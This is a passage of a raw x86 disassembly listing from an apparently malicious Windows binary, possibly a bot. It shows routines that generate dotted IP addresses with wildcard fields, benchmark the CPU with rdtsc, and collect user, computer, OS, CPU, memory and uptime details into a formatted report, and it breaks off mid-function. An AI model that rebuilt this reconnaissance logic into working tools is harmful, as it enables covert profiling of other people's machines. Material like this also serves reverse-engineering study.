loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9


loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------


loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: cAddress:0041362Ep
					; cAddress:00413876p

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41EF18
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: cAddress:004135C6p

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------


loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF18
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------


loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------


loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------


loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: cAddress:00408751p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221


loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB


loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4


loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD


loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6


loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F


loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325


loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8


loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------


loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp

; ---------------------------------------------------------------------------


loc_4083AD:				; DATA XREF: sub_4087C4+35o
		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-6CCh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-734h]
		push	eax
		call	dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp-72Ch]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp-6F0h], eax
		mov	eax, [ebp-728h]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp-738h], eax
		call	sub_4092A4
		mov	[ebp-714h], eax
		mov	eax, [ebp-714h]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp-6E8h], eax
		mov	eax, [ebp-714h]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp-524h], eax
		mov	eax, [ebp-714h]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp-6E4h], eax
		mov	dword ptr [ebp-8], 15h
		mov	dword ptr [ebp-6D0h], 10h
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-708h]
		push	eax
		call	dword_417018	; GetUserNameA
		lea	eax, [ebp-6D0h]
		push	eax
		lea	eax, [ebp-6E0h]
		push	eax
		call	dword_417078	; GetComputerNameA
		mov	dword ptr [ebp-520h], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-51Ch]
		rep stosd
		lea	eax, [ebp-520h]
		push	eax
		call	dword_417030	; GetVersionExA
		mov	dword ptr [ebp-48Ch], offset a?	; "?"
		mov	dword ptr [ebp-710h], offset aNoSp ; "no SP"
		cmp	dword ptr [ebp-51Ch], 4
		jnz	short loc_408522
		cmp	dword ptr [ebp-518h], 0
		jnz	short loc_408522
		cmp	dword ptr [ebp-510h], 1
		jnz	short loc_40850A
		mov	dword ptr [ebp-48Ch], offset a95 ; "95"


loc_40850A:				; CODE XREF: cAddress:004084FEj
		cmp	dword ptr [ebp-510h], 2
		jnz	short loc_40851D
		mov	dword ptr [ebp-48Ch], offset aNt ; "NT"


loc_40851D:				; CODE XREF: cAddress:00408511j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: cAddress:004084ECj
					; cAddress:004084F5j
		cmp	dword ptr [ebp-51Ch], 4
		jnz	short loc_408540
		cmp	dword ptr [ebp-518h], 0Ah
		jnz	short loc_408540
		mov	dword ptr [ebp-48Ch], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: cAddress:00408529j
					; cAddress:00408532j
		cmp	dword ptr [ebp-51Ch], 4
		jnz	short loc_40855E
		cmp	dword ptr [ebp-518h], 5Ah
		jnz	short loc_40855E
		mov	dword ptr [ebp-48Ch], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40855E:				; CODE XREF: cAddress:00408547j
					; cAddress:00408550j
		cmp	dword ptr [ebp-51Ch], 5
		jnz	short loc_40857C
		cmp	dword ptr [ebp-518h], 0
		jnz	short loc_40857C
		mov	dword ptr [ebp-48Ch], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: cAddress:00408565j
					; cAddress:0040856Ej
		cmp	dword ptr [ebp-51Ch], 5
		jnz	short loc_40859A
		cmp	dword ptr [ebp-518h], 1
		jnz	short loc_40859A
		mov	dword ptr [ebp-48Ch], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: cAddress:00408583j
					; cAddress:0040858Cj
		cmp	dword ptr [ebp-51Ch], 5
		jnz	short loc_4085B6
		cmp	dword ptr [ebp-518h], 2
		jnz	short loc_4085B6
		mov	dword ptr [ebp-48Ch], offset a2003 ; "2003"


loc_4085B6:				; CODE XREF: cAddress:loc_40851Dj
					; cAddress:0040853Ej ...
		cmp	dword ptr [ebp-510h], 2
		jnz	short loc_4085D6
		movsx	eax, byte ptr [ebp-50Ch]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp-50Ch]
		mov	[ebp-710h], eax


loc_4085D6:				; CODE XREF: cAddress:004085BDj
					; cAddress:004085C8j
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	dword ptr [ebp-744h], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: cAddress:004085DDj
		mov	dword ptr [ebp-744h], offset aNo ; "No"


loc_4085F5:				; CODE XREF: cAddress:004085E9j
		mov	eax, [ebp-744h]
		mov	[ebp-4], eax
		and	byte ptr [ebp-47Ch], 0
		and	byte ptr [ebp-409h], 0
		xor	eax, eax
		cpuid
		mov	[ebp-488h], ebx
		mov	[ebp-484h], edx
		mov	[ebp-480h], ecx
		lea	eax, [ebp-488h]
		mov	[ebp-6ECh], eax
		and	dword ptr [ebp-70Ch], 0
		lea	eax, [ebp-70Ch]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	dword ptr [ebp-73Ch], 0
		mov	dword ptr [ebp-740h], 80h
		lea	eax, [ebp-740h]
		push	eax
		lea	eax, [ebp-488h]
		push	eax
		lea	eax, [ebp-73Ch]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	dword ptr [ebp-70Ch]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp-488h]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch


loc_4086A7:				; CODE XREF: cAddress:00408692j
		push	dword ptr [ebp-70Ch]
		call	dword_417028	; RegCloseKey


loc_4086B3:				; CODE XREF: cAddress:00408655j
		cmp	dword ptr [ebp-6E4h], 1
		jnz	short loc_4086C8
		mov	dword ptr [ebp-748h], offset byte_41DE00
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086C8:				; CODE XREF: cAddress:004086BAj
		mov	dword ptr [ebp-748h], offset dword_4191F4


loc_4086D2:				; CODE XREF: cAddress:004086C6j
		cmp	dword ptr [ebp-524h], 1
		jnz	short loc_4086E7
		mov	dword ptr [ebp-74Ch], offset byte_41DE00
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------


loc_4086E7:				; CODE XREF: cAddress:004086D9j
		mov	dword ptr [ebp-74Ch], offset dword_4191F4


loc_4086F1:				; CODE XREF: cAddress:004086E5j
		cmp	dword ptr [ebp-6E8h], 1
		jnz	short loc_408706
		mov	dword ptr [ebp-750h], offset byte_41DE00
		jmp	short loc_408710
; ---------------------------------------------------------------------------


loc_408706:				; CODE XREF: cAddress:004086F8j
		mov	dword ptr [ebp-750h], offset dword_4191F4


loc_408710:				; CODE XREF: cAddress:00408704j
		lea	eax, [ebp-708h]
		push	eax
		lea	eax, [ebp-6E0h]
		push	eax
		push	dword ptr [ebp-748h]
		push	dword ptr [ebp-6E4h]
		push	dword ptr [ebp-74Ch]
		push	dword ptr [ebp-524h]
		push	dword ptr [ebp-750h]
		push	dword ptr [ebp-6E8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-6F0h]
		push	dword ptr [ebp-738h]
		call	sub_40821B
		push	eax
		push	dword ptr [ebp-6ECh]
		push	dword ptr [ebp-514h]
		push	dword ptr [ebp-518h]
		push	dword ptr [ebp-51Ch]
		push	dword ptr [ebp-710h]
		push	dword ptr [ebp-48Ch]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp-408h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp-408h]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp-6C8h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	dword ptr [ebp-6CCh]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
